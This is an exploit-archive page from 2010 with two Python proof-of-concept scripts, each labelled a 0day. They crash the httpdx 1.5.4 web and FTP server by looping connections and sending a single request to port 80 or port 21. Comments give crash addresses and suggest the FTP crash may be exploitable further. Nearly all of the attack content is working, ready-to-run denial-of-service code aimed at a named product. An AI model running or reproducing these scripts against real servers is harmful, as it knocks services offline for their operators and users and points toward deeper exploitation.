Home / os / win7

Httpdx 1.5.4 Multiple (http-ftp) PoC

Posted on 18 August 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Httpdx 1.5.4 Multiple (http-ftp) PoC</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>====================================
Httpdx 1.5.4 Multiple (http-ftp) PoC
====================================

#!/usr/bin/env python
 
###########################################################################
#
# Title:    httpdx v1.5.4 Remote HTTP Server DoS (0day)
# By:       Dr_IDE
# Tested:   XPSP3
# Download: http://httpdx.sourceforge.net
# Note:     Server will totally crash if only running the EXE
# Note:     Get a &quot;ffs what happened?&quot; message if running via BAT
#
############################################################################
#
# Debugging Notes: This may not be exploitable as it dumps on a read operation.
# Upon crash throws: Access violation when reading [00001238]
#
############################################################################
 
import socket, sys
 
payload = (&quot;GET / HTTP/1.1

&quot;);
x=1;
 
try:
    while (x &lt; 2048):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        print (&quot;[*] Connecting to httpdx server.&quot;);
        s.connect((sys.argv[1], 80));
        print (&quot;
[*] Sending command.
&quot;);
        s.send(payload);
        s.close();
        x = x+1;
 
except:
    print (&quot;[*] Success! We crashed the server in %d attempts.&quot; % x);
    print (&quot;[i] [pocoftheday.blogspot.com]&quot;);
 
 
=====================================================================================
 
#!/usr/bin/env python
 
###########################################################################
#
# Title:    httpdx v1.5.4 Remote FTP Server DoS (0day)
# By:       Dr_IDE
# Tested:   XPSP3
# Download: http://httpdx.sourceforge.net
# Note:     Server will totally crash if only running the EXE
# Note:     Get a &quot;ffs what happened?&quot; message if running via BAT
#
############################################################################
#
# Debugging Notes: This may be exploitable as it dumps on a write operation.
# Upon crash throws: Access violation when writing to [00230000]
#
############################################################################
 
import socket, sys
 
payload = (&quot;USER anonymous

&quot;);
x=1;
 
try:
    while (x &lt; 2048):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        print (&quot;[*] Connecting to httpdx server.&quot;);
        s.connect((sys.argv[1], 21));
        print (&quot;
[*] Sending command.
&quot;);
        s.send(payload);
        s.close();
        x = x+1;
 
except:
    print (&quot;[*] Success! We crashed the server in %d attempts.&quot; % x);
    print (&quot;[i] [pocoftheday.blogspot.com]&quot;);


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-08-18]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :